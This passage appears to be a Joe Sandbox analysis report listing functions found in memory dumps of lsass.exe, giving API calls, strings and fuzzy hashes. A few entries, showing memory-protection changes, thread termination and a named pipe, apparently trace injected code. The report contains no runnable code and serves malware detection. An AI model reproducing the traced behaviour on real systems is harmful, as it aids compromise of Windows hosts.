Instruction Fuzzy Hash: F2819F30A9034187FB53AB6798413D92292AB8D7B4F744525AF0C477B6EB3ACC45C7C2

Function 00000140AE869DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000140AE869E49
GetLastError.KERNEL32 ref: 00000140AE869E57
LoadLibraryExW.KERNEL32 ref: 00000140AE869E81
FreeLibrary.KERNEL32 ref: 00000140AE869EC7
GetProcAddress.KERNEL32 ref: 00000140AE869ED3

Strings

api-ms-, xrefs: 00000140AE869E69

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03dcf4635245ae701bcfc235362316d2ff68836874f11cf0347ec2092aff8e99
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9F319031292B40E1EF239B47A4007D56394B74CBB0F7985259E2E4B7A0EF7DC845C392

Function 00000140AE873DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000140AE873DE5
GetLastError.KERNEL32 ref: 00000140AE873DF1
CloseHandle.KERNEL32 ref: 00000140AE873E09
CreateFileW.KERNEL32 ref: 00000140AE873E34
WriteConsoleW.KERNEL32 ref: 00000140AE873E53

Strings

CONOUT$, xrefs: 00000140AE873E15

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ad989254367ffea67bb77bf17bba7392694ea205673c5da45a75a0c92e4d569a
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 82114932650B4086E7528B53A84439977A4B79CFF4F644224EF5E87BA5CF38C814C782

Function 00000140AE863790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
GetCurrentProcess.KERNEL32 ref: 00000140AE863809
VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

Strings

wr, xrefs: 00000140AE8637FF

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: fd890a10e18ff91e2345af510b04503e6d001258bbebb589a967ba1f92d71b91
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 81113936B45B8182FF159B23E4082A972A0FB8CBA5F640029DF9D077A4EF3DC905C745

Function 00000140AE865B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B
GetThreadContext.KERNEL32 ref: 00000140AE865CD5

Part of subcall function 00000140AE865960: GetCurrentThreadId.KERNEL32 ref: 00000140AE865964

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 4b8643210702c91202cb0783c5a391a2a26d50b369a2e2f855514301358eef3e
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 98D19736248B8882DA719B0AE49439A77A0F78CB94F600516EF8D47BB5DF3CC941CB81

Function 00000140AE862F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE862F27
HeapAlloc.KERNEL32 ref: 00000140AE862F3A
StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
GetProcessHeap.KERNEL32 ref: 00000140AE863015
HeapFree.KERNEL32 ref: 00000140AE863023

Strings

dialer, xrefs: 00000140AE862FA8

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: a2d052cb6962f498e3cef9ed57c0a8daa6a62b61da821da8834fd8d960af75c0
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: D231B332741B5182EB26DF1BE5447A9A7A0FB4DBA4F2881209F4C47B75EF34C8A5C781

Function 00000140AE86CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000140AE86CFAF
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86CFE5
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D012
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D023
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D034
SetLastError.KERNEL32 ref: 00000140AE86D04F

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: b1e378f208745640ce80b78c559ffaa0a20b0e3a8eff5e4311b7b060cf634d78
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: F3112E3028534081FA66AB635A553A962416B9C7F4F344B24EE3E476FADE78DC01D6C3

Function 00000140AE86199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000140AE8619C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
lstrlenW.KERNEL32 ref: 00000140AE8619FB
StrCpyW.SHLWAPI ref: 00000140AE861A0E
CloseHandle.KERNEL32 ref: 00000140AE861A1C

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9022e9ca5b0b5f71c7b82a84b25e46de0569a46428ab685b711a92cff19137a4
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: A5015731740B4082EB51DB53A848799A3A1F78CBD1FA84035DF4D43B65DE38C989C781

Function 00000140AE8636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE8636E4
GetCurrentProcess.KERNEL32 ref: 00000140AE8636F2
VirtualProtectEx.KERNEL32 ref: 00000140AE863714
GetCurrentProcess.KERNEL32 ref: 00000140AE863732
VirtualProtectEx.KERNEL32 ref: 00000140AE863753
TerminateThread.KERNEL32 ref: 00000140AE863762

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 301de5e6a3bc59086d6f9150b82df67b6d6c22bbab0207dc7c03168e1951e1a1
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 01015774651B40C2EB269B23E81879973A0BB9DBA2F240428CF4D07774EF3CC908C782

Function 00000140AE868FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE869013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140AE8690A8
RtlUnwindEx.NTDLL ref: 00000140AE8690F7

Strings

f, xrefs: 00000140AE869026
csm, xrefs: 00000140AE86908E

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: bd338bf40550659d0ab490f789d63c081b601061abea68a920c6aca0165ba548
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 8351A13265170086EB16CB16E848B9937A6F348BA8F318524DF1A477E8DB3DCC41C782

Function 00000140AE863044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000140AE863066
StrCpyW.SHLWAPI ref: 00000140AE863076
StrCatW.SHLWAPI ref: 00000140AE863082
PathCombineW.SHLWAPI ref: 00000140AE863090

Strings

\\.\pipe\, xrefs: 00000140AE86305C

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 0e89825c8f5d70b27a483a01b8d98a85527b4973c2a0efa788cb30948269fb2a
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A6F05E30644B8082EB058B53B9041996261AB8CFE0F245020EF4E07B78DE38C849C782

Function 00000140AE86BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000140AE86BCBD
GetProcAddress.KERNEL32 ref: 00000140AE86BCD3
FreeLibrary.KERNEL32 ref: 00000140AE86BCFA

Strings

mscoree.dll, xrefs: 00000140AE86BCB4
CorExitProcess, xrefs: 00000140AE86BCCC

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 0a5f03d881548423950f550b58b8fc74d35f60bbb561fa5f685fc2d061d5bb49
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 7EF06D71655B0582EB128B26E8443A97320EB8CBB5F740219CF6E472F4CF3DC948D381

Function 00000140AE8650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865156

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 73fda85837acdd30ad006dc6ccb1667200e15de9212539d4e27f8f5c03466d3a
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 2702FA32259B8486EB61DB56F49439AB7A1F7C8794F200415EB8E87BB8DF7CC844CB41

Function 00000140AE865710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865726

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 819f4eb226d638b22eb9453569fbd0dff2ed878ae5cb7d9cc285f1354ad887c7
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 9B61C536559B44C6E7629B16F48439AB7A0F7887A4F600515EF8E47BB8DF7CC840CB82

Function 00000140AE874104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140AE87412C
_set_statfp.LIBCMT ref: 00000140AE874147
_set_statfp.LIBCMT ref: 00000140AE874163
_set_statfp.LIBCMT ref: 00000140AE87419F

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 28d524a13795f3523b3f1b4b207150eb2f338f5cab7179f9a4c1ef00b7941454
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: DC119132AD0B5011F667256AD4913E531446B6DBB8F390624AF7E176F68B34CC41C2A2

Function 00000140ADFD3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000140ADFD352C
_set_statfp.LIBCMT ref: 00000140ADFD3547
_set_statfp.LIBCMT ref: 00000140ADFD3563
_set_statfp.LIBCMT ref: 00000140ADFD359F

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 2e1910b8291bafd17102f3214c72d3e729590e13e78c3872cab4fc5f060f1e3e
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 22115472614B5353FA56162AE4553EB31C36F5C37CF784628AFE6076F68A34E8436200

Function 00000140ADFCF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000140ADFCF124

Strings

Wednesday, xrefs: 00000140ADFCF1ED
Tuesday, xrefs: 00000140ADFCF0F4
or copy constructor iterator', xrefs: 00000140ADFCF25A, 00000140ADFCF275

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 48ac8b7a938d00f4a24374fee49c64dd94bfb0dfea2bd827f35d3ab40a9a7452
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3961B43652234853FA6B8B67E5443EBBAA3EF8D748F744415CB46077B4DB34C967A200

Function 00000140AE86AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000140AE86AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000140AE86AAB7

Strings

MOC, xrefs: 00000140AE86AA7C
RCC, xrefs: 00000140AE86AA85

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c54ac8669fca167ed3fb4a5461af2b1e7039b1515757cf07daf6e620200d245
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: B6619F33640B848AEB11DF66D4403DD77A0F748BA8F244256EF4E17BA9DB38C995C781

Function 00000140AE86AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE86ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140AE86AE88

Strings

csm, xrefs: 00000140AE86AEDA
csm, xrefs: 00000140AE86ADC2

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6cac39d5d8876cbc65fde025732dcd94be71c236f1742025846821184820e854
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: D951AF72180780CAEB768F17958439977A0F358BA8F244256DF9D47BE5CB38D890D782

Function 00000140ADFCA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFCA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000140ADFCA288

Strings

csm, xrefs: 00000140ADFCA2DA
csm, xrefs: 00000140ADFCA1C2

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 5e9ed10956360af88f8a3a4b9cf73a15bede84b98f5d365089c0e3503e132e06
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: B751E432120388CBEB658B6794443DA37A3FB58B84F244117DB4947BE5CB39E5A2E700

Function 00000140ADFC8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

f, xrefs: 00000140ADFC8426
csm, xrefs: 00000140ADFC848E

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 595c9e32b9df4e514150441d0aa3e925450171a8e5ef433ea7709e32150aded9
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: E551E43272170487DB96CF16D404BEA3797FB48BA8F318424DB06437A8EBB4C952A704

Function 00000140ADFC83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140ADFC8413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140ADFC84A8

Strings

f, xrefs: 00000140ADFC8426
csm, xrefs: 00000140ADFC848E

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140adfc0000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fdcdef5ba31d8dbb8912a9a905e6b67567b4155f9952f6a6302e3e1a43461dee
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4831CF3122174487E792DF13E844BDA37A7FB48B98F258414EF8A037A8CB38C952D704

Function 00000140AE872058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000140AE8720D7
WriteFile.KERNEL32 ref: 00000140AE87239F
WriteFile.KERNEL32 ref: 00000140AE8723E5
GetLastError.KERNEL32 ref: 00000140AE87249B

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 4b0a4d86e2932106c0371b6ae4a27eadaf1a36e0bf94906de29ca74a04e3cc8d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 44D1D072B54B8089E712CFAAD5403EC3BB1F3587A8F244216CF5D97BA9DA34C946C381

Function 00000140AE8614A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE8614C5
HeapFree.KERNEL32 ref: 00000140AE8614D4
GetProcessHeap.KERNEL32 ref: 00000140AE8614E1
HeapFree.KERNEL32 ref: 00000140AE8614F0
GetProcessHeap.KERNEL32 ref: 00000140AE861500

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: e0938be913c4546f92e354b3f490316f5aad01bc8c73eed3b2a93003b4ccae50
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 4C015A32A40B90C6E706DF67E94828A77A1F78DFA1F244425EF4E4372ADE38C851C791

Function 00000140AE872980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000140AE872A9C
GetLastError.KERNEL32 ref: 00000140AE872B27

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: bfe30e0d5e1943aced18828ddcaefd42f41aed77c308e3009ff5d43c7c6b682c
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: A491AFB264075085F762DF6A94803ED3BA4F758BA8F744109DF4E67AA5DB34CC82C782

Function 00000140AE867960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000140AE86798C
GetCurrentThreadId.KERNEL32 ref: 00000140AE86799A
GetCurrentProcessId.KERNEL32 ref: 00000140AE8679A6
QueryPerformanceCounter.KERNEL32 ref: 00000140AE8679B6

Memory Dump Source

Source File: 0000001B.00000002.3386134452.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a5c049cb69e96cfbb56616fdcd891d3e75a6c1cb872cb67dafead8936c6c1fcc
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 28110632B50B018AEB008B61E8542A833A4F719768F540E21DF6D87BA4DF78C598D2C1

Function 00000140ADFC9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000140ADFC9EB7

Strings

MOC, xrefs: 00000140ADFC9E7C
RCC, xrefs: 00000140ADFC9E85

Memory Dump Source

Source File: 0000001B.00000002.3377815584.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

